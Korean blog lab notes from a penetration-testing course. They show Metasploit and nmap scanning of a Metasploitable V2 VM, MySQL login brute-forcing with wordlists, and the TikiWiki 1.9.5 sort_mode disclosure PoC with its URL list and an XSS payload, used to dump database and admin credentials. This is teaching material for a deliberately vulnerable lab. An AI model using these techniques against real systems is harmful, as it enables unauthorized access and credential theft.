Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : FTPDEBUG
Current Setting: false
Description : Whether or not to print verbose debug statements
Name : FTPTimeout
Current Setting: 16
Description : The number of seconds to wait for a reply from an FTP command
Name : Proxies
Current Setting:
Description : A proxy chain of format type:host:port[,type:host:port][...]
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (Accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: TLS1
Description : Specify the version of SSL/TLS to be used (TLS and SSL23 are
auto-negotiate) (Accepted: SSL2, SSL3, SSL23, TLS, TLS1, TLS1.1,
TLS1.2)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
msf exploit(wuftpd_site_exec_format) > set
Global
======
No entries in data store.
Module: multi/ftp/wuftpd_site_exec_format
=========================================
Name Value
---- -----
ConnectTimeout 10
DisablePayloadHandler false
EXITFUNC process
EnableContextEncoding false
FTPDEBUG false
FTPPASS mozilla@example.com
FTPTimeout 16
FTPUSER anonymous
PrependChrootBreak true
RPORT 21
SSL false
SSLVerifyMode PEER
SSLVersion TLS1
TCP::max_send_size 0
TCP::send_delay 0
VERBOSE false
WfsDelay 0
[실습] zenmap을 통해 포트스캔된 정보를 mataspolit에서 읽어 들이기
■ 사용시스템
- KaliLinux
- Metasploitable V2 Linux
① nmap 프로그램을 통해 공격할려고 하는 시스템의 포트 스캔 과정을 거치고 파일로 저장
(KaliLinux)
# zenmap &
-> Target : 192.168.10.134 /* Metasploitable V2 Linux's IP : 192.168.10.134 */
-> Profile : 'Quick scan plus' 선택
-> 스캔 시작
-> 스캔 결과를 파일로 저장: /root/scan1.xml
scan > save scan
-> 스캔 과정이 끝났다면 zenmap를 종료한다.
② 칼리리눅스에서 MSF console 접속한 후 이전에 저장된 파일(EX: scan1.xml)을 import 하기
# msfconsole
..... (중략) .....
Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ]
+ -- --=[ 1302 exploits - 700 auxiliary - 207 post ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > help
..... (중략) .....
Database Backend Commands
=========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
msf > help db_import
Usage: db_import <filename> [file2...]
Filenames can be globs like *.xml, or **/*.xml which will search recursively
Currently supported file types include:
Acunetix
Amap Log
Amap Log -m
Appscan
..... (중략) .....
msf > db_import /root/scan1.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.6.1'
[*] Importing host 192.168.20.200
[*] Successfully imported /root/scan1.xml
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.20.200 00:0C:29:D1:CC:21 Linux CentOS server
msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.20.200 21 tcp ftp open vsftpd 2.0.5
192.168.20.200 22 tcp ssh open OpenSSH 4.3 protocol 2.0
192.168.20.200 23 tcp telnet open BSD-derived telnetd
192.168.20.200 25 tcp smtp open Sendmail 8.13.8/8.13.8
192.168.20.200 53 tcp domain open ISC BIND 9.3.6-20.P1.el5_8.6
192.168.20.200 80 tcp http open Apache httpd 2.2.3 (CentOS)
192.168.20.200 110 tcp pop3 open Dovecot pop3d
192.168.20.200 111 tcp rpcbind open 2 RPC #100000
192.168.20.200 143 tcp imap open Dovecot imapd
192.168.20.200 443 tcp http open Apache httpd 2.2.3 (CentOS)
192.168.20.200 993 tcp imap open Dovecot imapd
192.168.20.200 995 tcp pop3 open Dovecot pop3d
msf > notes
[*] Time: 2014-07-17 09:18:44 UTC Note: host=192.168.20.200 type=host.imported
data={:filename=>"/root/scan1.xml", :type=>"Nmap XML", :time=>2014-07-17 09:18:44 UTC}
[*] Time: 2014-07-17 09:18:45 UTC Note: host=192.168.20.200 type=host.os.nmap_fingerprint
data={:os_vendor=>"Linux", :os_family=>"Linux", :os_version=>"2.6.X", :os_accuracy=>100}
[*] Time: 2014-07-17 09:18:45 UTC Note: host=192.168.20.200 type=host.last_boot
data={:time=>"Thu Jul 17 15:44:09 2014"}
msf > search portscan /* 지원되는 스캔 방법의 종류 */
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/http/wordpress_pingback_access normal Wordpress Pingback Locator
auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner
auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(syn) > set PORTS 1-500
PORTS => 1-500
msf auxiliary(syn) > set RHOSTS 192.168.10.134 /* Metasploitable V2 IP's 192.168.10.134 */
RHOSTS => 192.168.10.134
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.10.134:21
[*] TCP OPEN 192.168.10.134:22
[*] TCP OPEN 192.168.10.134:23
[*] TCP OPEN 192.168.10.134:25
[*] TCP OPEN 192.168.10.134:53
[*] TCP OPEN 192.168.10.134:80
[*] TCP OPEN 192.168.10.134:111
[*] TCP OPEN 192.168.10.134:139
[*] TCP OPEN 192.168.10.134:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) > quit
[참고] msfconsole에서 db_nmap 사용하기
msfconsole 안에서 nmap 사용도 가능하다.
# msfconsole
msf> help
msf> db_nmap -sV -O -p1-1023 -v 192.168.10.134
msf> quit
(정리) nmap의 출력 결과를 DB(postgresql)에 저장하기
● zenmap CMD -> scan1.xml -> msfconsole(db_import) -> postgresql 저장
● msfconsole(db_nmap) -> postgresql 저장
[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(사전 파일을 이용한 MySQL 원격 로그인 시도)
● 메타스플로잇을 사용하여 취약점을 스캔 해 보자.- 사전파일을 이용하여 MySQL 원격 로그인 시도한다.
① 공격대상 서버(EX: 192.168.10.134)의 서비스 목록 확인
# nmap -sV 192.168.10.134 /* Metasploitable V2 Server IP : 192.168.10.134 */
Starting Nmap 6.46 ( http://nmap.org ) at 2014-12-15 10:49 KST
Nmap scan report for 192.168.10.134
Host is up (0.00024s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds
② msfconsole의 mysql_login auxiliary을 사용하여 MySQL 로그인 시도
# msfconsole
..... (중략) .....
msf > search mysql_login
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/mysql/mysql_login normal MySQL Login Utility
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in
the current database
DB_ALL_PASS false no Add all passwords in the current database
to the list
DB_ALL_USERS false no Add all users in the current database to
the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR
identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for
a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords
separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all
users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(mysql_login) > set RHOSTS 192.168.10.134
RHOSTS => 192.168.10.134
msf auxiliary(mysql_login) > run
[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[TERM2] 다른 윈도우에서 user.txt, pass.txt 파일을 생성
# cd /usr/share/metasploit-framework/data/wordlists
# vi user.txt
root
admin
administrator
# echo "" > pass.txt
#
-> Metaspolitable V2에서는 root 사용자의 암호가 없다.
msf auxiliary(mysql_login) > set USER_FILE
/usr/share/metasploit-framework/data/wordlists/user.txt
USER_FILE => /usr/share/metasploit-framework/data/wordlists/user.txt
msf auxiliary(mysql_login) > set PASS_FILE
/usr/share/metasploit-framework/data/wordlists/pass.txt
PASS_FILE => /usr/share/metasploit-framework/data/wordlists/pass.txt
msf auxiliary(mysql_login) > run
[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 192.168.10.134:3306 MYSQL - [1/3] - Trying username:'root' with password:''
[+] 192.168.10.134:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] 192.168.10.134:3306 MYSQL - [2/3] - Trying username:'admin' with password:''
[-] Access denied
[*] 192.168.10.134:3306 MYSQL - [3/3] - Trying username:'administrator' with password:''
[-] Access denied
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) > quit
[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(exploitdb을 이용한 tikiwiki 취약점 공격)
● 메타스플로잇을 사용하여 취약점을 스캔 해 보자.- tikiwiki 프로그램의 취약점을 점검하고 이용하여 본다.
① 공격 대상 서버쪽에(Metaspolitable V2) 열러 있는 포트 목록 확인
# nmap -sV -p 1-65535 192.168.10.134
Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-17 21:06 KST
Nmap scan report for 192.168.10.134
Host is up (0.00024s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
6697/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
42043/tcp open mountd 1-3 (RPC #100005)
48481/tcp open unknown
50478/tcp open status 1 (RPC #100024)
56189/tcp open nlockmgr 1-4 (RPC #100021)
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.23 seconds
-> 약간 시간이 걸림
# man nmap
-sV: Probe open ports to determine service/version info
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
② powerfuzzer를 사용하여 테스트
● powerfuzzer웹/애플리케이션상의 숨겨진 파일이나 디렉토리들을 부르트로스 방식으로 검출해 공격 팩터(Factor)를 찾는 멀티스레드 자바 애플리케이션이다.
------------------------ 선수 작업 ----------------------------
(KaliLinux 에서 작업)
● KaliLinux에서 웹접속을 통한 MetaspolitV2 서버의 Tikiwiki 설정
# firefox http://192.168.10.134/tikiwiki/tiki-index.php
-> 'Go here to begin the installation process' 선택
-> 다음페이지에서
Database Type : MySQL
Host : localhost
User : root
Password :
Database name : tikiwiki195
-> 다음페이지에서
-> Create
-> 웹 브라우저 종료
[참고] 만약 Metaspolitable V2 서버에서 database 이름을 확인하기 위해서는
(Metasploitable V2 Server)
$ mysql -u root -p /* -u : username, -p : password */
Enter password: <ENTER>
mysql> show databases;
mysql> quit
$
------------------------ 선수 작업 ----------------------------
③ KaliLinux에서 powerfuzzer 실행
■ powerfuzzer 실행하는 방법
KaliLinux > Web Applications > Web Application Fuzzy > powerfuzzer
or
KaliLinux > Vulnerability Analysis > Fuzzing Tools > powerfuzzer
or
# powerfuzzer
Target URL : http://192.168.10.134
-> Scan
-> 출력 결과를 분석하면 목록이 많이 나온다.
-> 이중에서 URL 하나를 선택하여 웹에서 접근해 보자
# firefox http://192.168.10.134/tikiwiki/tiki-index.php
-> 'Home Page' 보인다.
-> 만약 홈페이지가 보이지 않는다면 tiwiki 웹사이트에 대한 초기화가 이루어지지 않아서
그렇다. 그런경우 http://192.168.10.134/tikiwiki/tiki-index.php 사이트에 접속하여
다시 설정하여야 한다.
③ twiki 대상 웹 서비스 공격
최신 취약점을 확인하기 위해서 http://www.exploit-db.com에서 검색을 한다.
http://www.exploit-db.com 사이트에서
-> 오른쪽 상단의 'search'를 선택하고
-> Description 부분에 'tikiwiki' 입력한다.
-> 상당히 많은 버그가 있다는 것을 알수 있다.
-> 2004년 ~ 2010년까지의 결과 확인
웹페이지 출력 결과
Date D A V Description Plat. Author
2008-01-20 Exploit Code Downloads Download Vulnerable Application Waiting
verification TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability php
Sha0
2010-09-20 Exploit Code Downloads - Verified TikiWiki tiki-graph_formula Remote PHP Code Execution php metasploit
2010-07-25 Exploit Code Downloads - Verified TikiWiki jhot Remote Command Execution php metasploit
2010-03-09 Exploit Code Downloads - Verified TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities php Mateusz Drygas
2009-03-12 Exploit Code Downloads - Verified TikiWiki 2.2/3.0 'tiki-galleries.php' Cross Site Scripting Vulnerability php iliz
2009-03-12 Exploit Code Downloads - Verified TikiWiki 2.2/3.0 'tiki-list_file_gallery.php' Cross Site Scripting Vulnerability php iliz
2009-03-12 Exploit Code Downloads - Verified TikiWiki 2.2/3.0 'tiki-listpages.php' Cross Site Scripting Vulnerability php iliz
2007-10-25 Exploit Code Downloads - Verified TikiWiki <= 1.9.8.1 - Local File Inclusion Vulnerabilities php L4teral
2007-10-12 Exploit Code Downloads - Verified TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit php str0ke
2007-10-10 Exploit Code Downloads - Verified TikiWiki 1.9.8 - Remote PHP Injection Vulnerability php ShAnKaR
2006-11-01 Exploit Code Downloads - Verified TikiWiki 1.9.5 Sirius (sort_mode) Information Disclosure Vulnerability php securfrog
2006-09-02 Exploit Code Downloads - Verified TikiWiki <= 1.9 Sirius (jhot.php) Remote Command Execution Exploit php rgod
2006-05-29 Exploit Code Downloads - Verified TikiWiki 1.9 tiki-lastchanges.php Multiple Parameter XSS php Blwood
2005-11-09 Exploit Code Downloads - Verified TikiWiki 1.9 Tiki-view_forum_thread.PHP Cross-Site Scripting Vulnerability php Moritz Naumann
..... (중략) .....
-> 2006-11-01 버그를 확인한다.
-> Sirius (sort_mode) Information Disclosure Vulnerability 선택한다.
/*==========================================*/
//tikiwiki version 1.9.5 (CVS) -Sirius- (PoC)
// Product: Tikiwiki
// URL: http://tikiwiki.org/
// RISK: critical
/*==========================================*/
there's a critical security bug in tikiwiki version 1.9.5 (CVS) -Sirius-
a anonymous user , can dump the mysql user & passwd just by creating a mysql error with the "sort_mode" var , with those following links :
/tiki-listpages.php?offset=0&sort_mode=
/tiki-lastchanges.php?days=1&offset=0&sort_mode=
/messu-archive.php?sort_mode=
/messu-mailbox.php?sort_mode=
/messu-sent.php?sort_mode=
/tiki-directory_add_site.php?sort_mode=
/tiki-directory_ranking.php?sort_mode=
/tiki-directory_search.php?sort_mode=
/tiki-forums.php?sort_mode=
/tiki-view_forum.php?forumId=
/tiki-friends.php?sort_mode=
/tiki-list_blogs.php?sort_mode=
/tiki-list_faqs.php?sort_mode=
/tiki-list_trackers.php?sort_mode=
/tiki-list_users.php?sort_mode=
/tiki-my_tiki.php?sort_mode=
/tiki-notepad_list.php?sort_mode=
/tiki-orphan_pages.php?sort_mode=
/tiki-shoutbox.php?sort_mode=
/tiki-usermenu.php?sort_mode=
/tiki-webmail_contacts.php?sort_mode=
a proof of concept is disponible here : http://cockor.free.fr/PoC.swf
there's also a xss here :
/tiki-featured_link.php?type=f&url="
></iframe><scr</script>ipt>alert('XSS')</scri</script>pt> <!--
regards , securfrog
# milw0rm.com [2006-11-01]
# firefox &
-> http://192.168.10.134/tikiwiki/tiki-listpages.php?offset=0&sort_mode=
-> 페이지 하단의 에러메세지 부분을 참고한다.
array(3) {
[0]=>
array(7) {
["file"]=>
string(35) "/var/www/tikiwiki/lib/tikidblib.php"
["line"]=>
int(84)
["function"]=>
string(9) "sql_error"
["class"]=>
string(6) "TikiDB"
["object"]=>
object(TikiLib)#6 (10) {
["db"]=>
object(ADODB_mysql)#2 (78) {
["databaseType"]=>
string(5) "mysql"
["dataProvider"]=>
string(5) "mysql"
["hasInsertID"]=>
bool(true)
["hasAffectedRows"]=>
bool(true)
["metaTablesSQL"]=>
string(11) "SHOW TABLES"
["metaColumnsSQL"]=>
string(20) "SHOW COLUMNS FROM %s"
["fmtTimeStamp"]=>
..... (중략) .....
["hasTransactions"]=>
bool(false)
["forceNewConnect"]=>
bool(false)
["poorAffectedRows"]=>
bool(true)
["clientFlags"]=>
int(0)
["substr"]=>
string(9) "substring"
["nameQuote"]=>
string(1) "`"
["_genIDSQL"]=>
string(38) "update %s set id=LAST_INSERT_ID(id+1);"
["_genSeqSQL"]=>
string(33) "create table %s (id int not null)"
["_genSeq2SQL"]=>
string(26) "insert into %s values (%s)"
["_dropSeqSQL"]=>
string(13) "drop table %s"
["database"]=>
string(11) "tikiwiki195"
["host"]=>
string(9) "localhost"
["user"]=>
string(4) "root"
["password"]=>
string(0) ""
["debug"]=>
bool(false)
["maxblobsize"]=>
int(262144)
["concat_operator"]=>
string(1) "+"
["length"]=>
string(6) "length"
["random"]=>
string(6) "rand()"
..... (중략) .....
④ MySQL에 접근하여 정보를 확인 하기
# ssh msfadmin@192.168.10.134
msfadmin@192.168.10.134's password: (msfadmin)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Thu Jul 17 21:50:01 2014
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
$ mysql -u root -p /* -u : username, -p : passowrd */
Enter password: <ENTER> <---- 암호는 없다.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------+
7 rows in set (0.00 sec)
mysql> use tikiwiki195
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------------------+
| Tables_in_tikiwiki195 |
+------------------------------------+
| galaxia_activities |
| galaxia_activity_roles |
| galaxia_instance_activities |
| galaxia_instance_comments |
| galaxia_instances |
..... (중략) .....
| tiki_userpoints |
| tiki_users |
| tiki_users_score |
| tiki_webmail_contacts |
| tiki_webmail_messages |
| tiki_wiki_attachments |
| tiki_zones |
| users_grouppermissions |
| users_groups |
| users_objectpermissions |
| users_permissions |
| users_usergroups |
| users_users |
+------------------------------------+
194 rows in set (0.00 sec)
mysql> select * from users_users;
+--------+-------+-------+----------+----------+---------------+-----------+--------------+------------------+-----------+----------+----------------------------------+---------+------------+------------+----------------+------------+---------------+------------+-------+
| userId | email | login | password | provpass | default_group | lastLogin | currentLogin | registrationDate | challenge | pass_due | hash | created | avatarName | avatarSize | avatarFileType | avatarData | avatarLibName | avatarType | score |
+--------+-------+-------+----------+----------+---------------+-----------+--------------+------------------+-----------+----------+----------------------------------+---------+------------+------------+----------------+------------+---------------+------------+-------+
| 1 | | admin | admin | NULL | NULL | NULL | NULL | NULL | NULL | NULL | f6fdffe48c908deb0f4c3bd36c032e72 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | 0 |
+--------+-------+-------+----------+----------+---------------+-----------+--------------+------------------+-----------+----------+----------------------------------+---------+------------+------------+----------------+------------+---------------+------------+-------+
1 row in set (0.00 sec)
mysql> select login,password from users_users;
+-------+----------+
| login | password |
+-------+----------+
| admin | admin |
+-------+----------+
1 row in set (0.00 sec)
mysql> quit
-> admin/admin 정보 확인
$ exit
#
# firefox &
-> http://192.168.10.134/tikiwiki/tiki-index.php
-> 오른쪽 상단 부분에 login 부분에 "user: admin, pass: admin" 입력
-> 왼쪽 메뉴에 'Backups'가 존재한다.
-> 하단에 'upload a backup' 부분의 '파일선택', 'upload'를 통해 파일업로드 취약점을 테스트 할
수 있다. (이 부분은 개별적으로 테스트 하기 바란다.)
(정리) tikiwiki 프로그램의 취약점 점검
● nmap 툴을 통해 포트 스캔 작업 -> 80 포트
● 웹 접속 -> 사이트의 소개/목적
● powerpuzzer 툴을 사용하여 파일/디렉토리 목록화 -> tikiwiki 프로그램 설치 확인
● tikiwiki 프로그램의 취약점 점검(www.exploit-db.com) -> 취약점 점검 내용 확인
● 취약점 테스트
'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160621 정보수집단계 (0) | 2016.06.21 |
---|---|
20166020 코드엔진 아카이브 (0) | 2016.06.21 |
20160617 정보수집단계 (0) | 2016.06.18 |
20160616 정보수집단계 (0) | 2016.06.16 |
20160615 네트워크이론 (0) | 2016.06.15 |